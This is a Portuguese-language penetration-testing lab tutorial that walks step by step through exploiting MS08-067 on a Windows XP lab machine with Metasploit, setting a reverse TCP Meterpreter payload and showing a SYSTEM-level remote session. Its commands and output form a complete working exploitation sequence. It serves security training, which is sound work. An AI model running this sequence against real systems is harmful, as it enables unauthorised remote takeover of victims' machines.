Introdução
Neste laboratório, você aprenderá a usar o Metasploit Framework para explorar uma das vulnerabilidades mais conhecidas do Windows, a MS08-067. Esta vulnerabilidade existe no Serviço de Servidor (Server Service) em sistemas Windows e pode permitir a execução remota de código.
Você usará o Metasploit, uma poderosa ferramenta de teste de penetração, para selecionar, configurar e lançar um exploit contra uma máquina Windows XP alvo. Ao final deste laboratório, você terá obtido uma sessão Meterpreter na máquina alvo, concedendo-lhe controle remoto.
Para este laboratório, o ambiente está pré-configurado com duas máquinas:
- Sua máquina atacante (esta VM Ubuntu), com endereço IP
192.168.1.100. - Uma máquina alvo vulnerável Windows XP, com endereço IP
192.168.1.101.
Você realizará todas as ações a partir do terminal em sua máquina atacante.
Selecionar o módulo de exploit ms08_067_netapi
Nesta etapa, você iniciará o console do Metasploit e selecionará o módulo de exploit apropriado para a vulnerabilidade MS08-067.
Primeiro, abra um terminal. Todos os comandos serão executados aqui. O Metasploit Framework vem com uma interface de linha de comando chamada msfconsole. Vamos iniciá-la com o sinalizador -q (quiet) para suprimir o banner.
msfconsole -q
Assim que carregar, você verá o prompt do Metasploit, que se parece com msf6 >. Agora, você pode procurar o módulo de exploit relacionado a ms08-067.
search ms08-067
Você verá uma lista de módulos correspondentes. O que nos interessa é exploit/windows/smb/ms08_067_netapi.
Matching Modules
================
## Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms08_067_netapi 2008-10-28 great Yes MS08-067 Microsoft Server Service Relative Path Stack Corruption
Para usar este exploit, digite o comando use seguido pelo nome do módulo.
use exploit/windows/smb/ms08_067_netapi
Seu prompt mudará para indicar que você agora está dentro do contexto deste módulo de exploit específico.
msf6 exploit(windows/smb/ms08_067_netapi) >
Definir a opção RHOSTS para o alvo Windows XP
Nesta etapa, você configurará o módulo de exploit definindo o endereço IP do alvo. A maioria dos exploits precisa saber quem atacar. No Metasploit, o endereço do alvo é definido usando a opção RHOSTS (Remote Hosts).
Primeiro, vamos visualizar as opções disponíveis para este exploit usando o comando show options.
show options
Você verá uma tabela de opções que podem ser configuradas. Observe que RHOSTS é obrigatório, mas ainda não está definido.
Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The target port (TCP)
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
...
Agora, defina a opção RHOSTS para o endereço IP do nosso alvo Windows XP, que é 192.168.1.101.
set RHOSTS 192.168.1.101
O Metasploit confirmará a alteração.
RHOSTS => 192.168.1.101
Agora você informou ao Metasploit qual máquina deve ser o alvo.
Selecionar um payload reverse TCP como windows/meterpreter/reverse_tcp
Nesta etapa, você selecionará um payload a ser entregue ao sistema alvo após um exploit bem-sucedido. Um payload é o código que será executado na máquina alvo. Usaremos o Meterpreter, que é um payload poderoso e flexível que fornece um shell interativo.
O payload windows/meterpreter/reverse_tcp forçará a máquina alvo comprometida a se conectar de volta a você (o atacante). Isso geralmente é mais bem-sucedido em cenários do mundo real onde firewalls podem bloquear conexões diretas ao alvo.
Para definir o payload, use o comando set payload.
set payload windows/meterpreter/reverse_tcp
O Metasploit confirmará que o payload foi definido.
payload => windows/meterpreter/reverse_tcp
Agora que o payload foi selecionado, você precisará configurar suas opções na próxima etapa.
Definir as opções de payload LHOST e LPORT
Agora que você selecionou um payload reverso, precisa configurá-lo para se conectar de volta à sua máquina. Isso requer a definição de duas opções principais: LHOST e LPORT.
LHOST(Local Host): Este é o endereço IP da sua máquina atacante, para onde o payload deve se conectar de volta.LPORT(Local Port): Esta é a porta em sua máquina que aguardará a conexão de entrada do alvo.
Conforme mencionado na introdução, o IP da sua máquina atacante é 192.168.1.100. Vamos definir LHOST para este valor.
set LHOST 192.168.1.100
Você verá uma confirmação:
LHOST => 192.168.1.100
Em seguida, vamos definir a porta de escuta. Uma escolha comum é 4444.
set LPORT 4444
Novamente, você verá uma confirmação:
LPORT => 4444
Você pode executar show options novamente para verificar se todas as opções necessárias (RHOSTS, LHOST, LPORT) estão agora corretamente definidas.
Executar o exploit e obter uma sessão Meterpreter
Com todas as opções configuradas, você está pronto para lançar o exploit. Esta é a etapa final onde você tentará comprometer o sistema alvo.
Para lançar o ataque, simplesmente use o comando exploit.
exploit
O Metasploit tentará explorar a vulnerabilidade. Se for bem-sucedido, você verá uma saída semelhante à seguinte. Ele detectará automaticamente o SO alvo, enviará o exploit e, em seguida, enviará o payload.
[*] Started reverse TCP handler on 192.168.1.100:4444
[*] 192.168.1.101:445 - Automatically detecting the target...
[*] 192.168.1.101:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.101:445 - Selected Target: Windows XP SP3 English (AlwaysOn)
[*] 192.168.1.101:445 - Attempting to trigger the vulnerability...
[*] Sending stage (179779 bytes) to 192.168.1.101
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.101:1035) at 2023-10-27 10:30:00 -0400
meterpreter >
Observe a última linha: Meterpreter session 1 opened. Seu prompt de comando mudou para meterpreter >. Isso significa que você comprometeu com sucesso o alvo e tem uma sessão ativa.
Para verificar seu acesso, execute um comando como getuid para ver com qual usuário você está executando no sistema alvo.
getuid
A saída mostrará que você tem o nível mais alto de privilégios.
Server username: NT AUTHORITY\SYSTEM
Parabéns, você explorou com sucesso o MS08-067!
Resumo
Neste laboratório, você usou com sucesso o Metasploit Framework para explorar a vulnerabilidade MS08-067 em um alvo Windows XP.
Você seguiu o fluxo de trabalho fundamental de um teste de penetração:
- Selecionou um módulo de exploit específico (
exploit/windows/smb/ms08_067_netapi). - Configurou o exploit definindo o endereço do alvo (
RHOSTS). - Escolheu um payload (
windows/meterpreter/reverse_tcp) para obter controle. - Configurou o payload com seu host e porta locais (
LHOST,LPORT). - Lançou o exploit e obteve uma sessão Meterpreter de alto privilégio no alvo.
Este exercício demonstra o poder e a simplicidade de usar um framework como o Metasploit para testar e explorar vulnerabilidades de sistema.


